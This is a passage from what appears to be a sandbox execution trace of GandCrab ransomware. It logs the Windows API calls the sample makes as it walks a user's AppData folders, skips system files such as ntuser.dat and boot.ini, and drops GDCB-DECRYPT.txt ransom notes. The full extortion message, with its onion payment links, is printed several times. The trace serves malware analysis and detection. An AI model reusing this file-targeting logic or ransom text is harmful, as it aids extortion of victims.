your data forever!\r\n") returned 1387 [0054.118] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.118] CloseHandle (hObject=0x504) returned 1 [0054.118] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.119] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned 83 [0054.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" [0054.119] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8830 [0054.119] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.119] FindNextFileW (in: hFindFile=0x5b8830, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.119] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.119] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.119] FindNextFileW (in: hFindFile=0x5b8830, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.119] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.119] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt" [0054.119] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.119] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0054.119] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0054.119] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0054.119] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.119] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.119] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.119] FindNextFileW (in: hFindFile=0x5b8830, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.119] lstrcmpW (lpString1="rasphone.pbk", lpString2=".") returned 1 [0054.119] lstrcmpW (lpString1="rasphone.pbk", lpString2="..") returned 1 [0054.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" [0054.119] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.120] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95 [0054.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95 [0054.120] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.120] FindNextFileW (in: hFindFile=0x5b8830, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.120] FindClose (in: hFindFile=0x5b8830 | out: hFindFile=0x5b8830) returned 1 [0054.120] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.120] FindClose (in: hFindFile=0x5b8a30 | out: hFindFile=0x5b8a30) returned 1 [0054.120] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.120] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.120] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.120] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.120] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt" [0054.120] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.120] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0054.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0054.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0054.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.120] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.120] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.121] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.121] FindClose (in: hFindFile=0x5b8c70 | out: hFindFile=0x5b8c70) returned 1 [0054.121] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.121] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0054.121] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0054.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0054.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\" [0054.121] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.121] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.121] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.121] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned 55 [0054.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*" [0054.121] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8670 [0054.121] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.121] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.121] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.121] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.121] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.121] lstrcmpW (lpString1="MSO1033.acl", lpString2=".") returned 1 [0054.121] lstrcmpW (lpString1="MSO1033.acl", lpString2="..") returned 1 [0054.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" [0054.122] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66 [0054.122] lstrcmpW (lpString1=".acl", lpString2=".sql") returned -1 [0054.122] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.122] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0054.122] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0054.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0054.122] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 61 [0054.122] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.122] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.122] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.122] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\\\GDCB-DECRYPT.txt") returned 72 [0054.122] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.122] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.122] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.123] CloseHandle (hObject=0x4f8) returned 1 [0054.123] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned 55 [0054.123] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*" [0054.123] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8bf0 [0054.123] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.123] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.123] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.123] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.123] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.123] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.123] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.123] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt" [0054.123] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.123] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0054.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0054.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0054.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\GDCB-DECRYPT.txt") returned 71 [0054.123] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.123] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.123] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.124] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.124] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.124] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.124] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.124] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.124] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.124] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.124] lstrcmpW (lpString1="MSO1033.acl", lpString2=".") returned 1 [0054.124] lstrcmpW (lpString1="MSO1033.acl", lpString2="..") returned 1 [0054.124] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" [0054.124] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.124] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66 [0054.124] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66 [0054.124] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.124] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0054.124] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0054.124] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0054.124] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0054.124] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.125] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.125] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned 62 [0054.125] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" [0054.125] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8b70 [0054.125] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.125] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.125] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.125] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.125] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.125] lstrcmpW (lpString1="Global.LNK", lpString2=".") returned 1 [0054.125] lstrcmpW (lpString1="Global.LNK", lpString2="..") returned 1 [0054.125] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" [0054.125] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72 [0054.125] lstrcmpW (lpString1=".LNK", lpString2=".sql") returned -1 [0054.125] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.125] lstrcmpW (lpString1="index.dat", lpString2=".") returned 1 [0054.125] lstrcmpW (lpString1="index.dat", lpString2="..") returned 1 [0054.125] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="index.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0054.125] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71 [0054.125] lstrcmpW (lpString1=".dat", lpString2=".sql") returned -1 [0054.126] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.126] lstrcmpW (lpString1="Templates.LNK", lpString2=".") returned 1 [0054.126] lstrcmpW (lpString1="Templates.LNK", lpString2="..") returned 1 [0054.126] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" [0054.126] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75 [0054.126] lstrcmpW (lpString1=".LNK", lpString2=".sql") returned -1 [0054.126] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.126] FindClose (in: hFindFile=0x5b8b70 | out: hFindFile=0x5b8b70) returned 1 [0054.126] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.126] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\\GDCB-DECRYPT.txt") returned 79 [0054.126] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.126] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. 